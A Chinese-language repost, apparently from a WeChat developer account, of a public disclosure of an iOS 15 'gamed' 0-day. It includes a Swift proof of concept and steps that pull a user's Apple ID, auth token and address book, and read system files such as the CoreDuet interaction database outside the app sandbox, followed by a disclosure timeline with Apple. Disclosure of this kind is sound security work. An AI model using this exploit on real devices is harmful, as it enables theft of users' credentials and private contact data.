Jailbreak #001:Gamed 0-day 漏洞

iOS开发

共 3635字,需浏览 8分钟

 ·

2021-10-15 20:35

👇👇关注后回复 “进群” ,拉你进程序员交流群👇👇

来源丨小集(ID:zsxjtip)

报告人:illusionofchaos

可复现系统版本:iOS 15

从 App Store 安装的任何应用程序都可以在没有用户提示的情况下访问以下数据:

  • Apple ID 电子邮件和与之关联的全名

  • Apple ID 身份验证令牌,允许用户访问 *.apple.com 上的至少一个端点

  • 完整的文件系统读取访问 Core Duet 数据库(包含来自 Mail、SMS、iMessage、第 3 方消息传递应用程序的联系人列表和有关所有用户与这些联系人交互的元数据(包括时间戳和统计数据),还有一些附件如 URL和文本)

  • 对 Speed Dial 数据库和 Address Book 数据库的完整文件系统读取访问权限,包括联系人图片和其他元数据,如创建和修改日期(我刚刚在 iOS 15 上检查过,这个无法访问,所以最近肯定已经悄悄修复了)

这是一个简短的概念证明(这个实际上不会编译,请参阅 GitHub https://github.com/illusionofchaos/ios-gamed-0day 以获取解决方法)。

let connection = NSXPCConnection(machServiceName: "com.apple.gamed", options: NSXPCConnection.Options.privileged)!
let proxy = connection.remoteObjectProxyWithErrorHandler({ _ in }) as! GKDaemonProtocol
let pid = ProcessInfo.processInfo.processIdentifier
proxy.getServicesForPID(pid, localPlayer: nil, reply: { (accountService, _, _, _, _, _, _, _, utilityService, _, _, _, _) in
accountService.authenticatePlayerWithExistingCredentials(handler: { response, error in
let appleID = response.credential.accountName
let token = response.credential.authenticationToken
}

utilityService.requestImageData(for: URL(fileURLWithPath: "/var/mobile/Library/AddressBook/AddressBook.sqlitedb"), subdirectory: nil, fileName: nil, handler: { data in
let addressBookData = data
}
}

复现流程:

  • XPC 服务 com.apple.gamed 未正确检查 com.apple.developer.game-center 权限

  • 即使在设备上禁用了 Game Center,调用 getServicesForPID:localPlayer:reply: 也会返回几个 XPC 代理对象(GKAccountService、GKFriendService、GKUtilityService 等)。

  • 如果在设备上启用了游戏中心(即使它没有在 App Store Connect 中为应用启用并且应用不包含 com.apple.developer.game-center 授权),在 GKAccountService 上调用authenticatePlayerWithExistingCredentialsWithHandler: 会返回一个包含 Apple ID 的对象用户、DSID 和 Game Center 身份验证令牌(允许代表用户向 https://gc.apple.com 发送请求)。在 GKProfileService 上调用 getProfilesForPlayerIDs:handler: 会返回一个包含用户 Apple ID 名字和姓氏的对象。在 GKFriendService 上调用 getFriendsForPlayer:handler: 返回一个对象,其中包含有关用户在 Game Center 中的朋友的信息。

  • 即使游戏中心被禁用,它也不会为 App Store Connect 中的应用程序启用并且应用程序不包含 com.apple.developer.game-center 授权,调用 GKUtilityService 的 requestImageDataForURL:subdirectory:fileName:handler: 允许读取任意文件通过将文件 URL 传递给该方法,在应用程序沙箱之外。可以通过这种方式访问的文件(但不限于)如下: 

    /var/containers/Shared/SystemGroup/systemgroup.com.apple.mobilegestaltcache/Library/Caches/com.apple.MobileGestalt.plist - 包含移动格式塔缓存 
    /var/mobile/Library/CoreDuet/People/interactionC.db - 包含来自邮件、短信、iMessage、第 3 方消息传递应用程序的联系人列表以及有关用户与这些联系人交互的元数据(包括时间戳和统计数据)
    /var /mobile/Library/Preferences/com.apple.mobilephone.speeddial.plist - 包含最喜欢的联系人及其电话号码 
    /var/mobile/Library/AddressBook/AddressBook.sqlitedb - 包含完整的地址簿数据库 
    /var/mobile/Library/AddressBook/AddressBookImages.sqlitedb - 包含地址簿联系人的照片

  • 在 GKUtilityService 上调用 cacheImageData:inSubdirectory:withFileName:handler: 可能允许将任意数据写入应用程序沙箱之外的位置。

在 Apple 安全赏金计划页面上,此漏洞的评估价为 100,000 美元(对通常受 TCC 提示或平台沙箱保护的敏感数据的广泛应用访问权限。“敏感数据”访问权限包括从联系人获得广泛访问权限(即完整数据库) )。

时间线:

2021 年 3 月 10 日 - illusionofchaos向 Apple 报告了该漏洞

3 月 10 日 - Apple 承认了illusionofchaos的报告

5 月 20 日 - illusionofchaos请求更新状态(但没有得到回复)

5 月 30 日 - illusionofchaos再次请求状态更新

7 月 1 日 - 苹果回复称仍在调查中

7 月 20 日 - illusionofchaos再次请求状态更新

8 月 25 日 - Apple 回复说他们计划在即将到来的更新中解决这个问题。

-End-


最近有一些小伙伴,让我帮忙找一些 面试题 资料,于是我翻遍了收藏的 5T 资料后,汇总整理出来,可以说是程序员面试必备!所有资料都整理到网盘了,欢迎下载!


点击👆卡片,关注后回复【面试题】即可获取

在看点这里好文分享给更多人↓↓

浏览 50
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报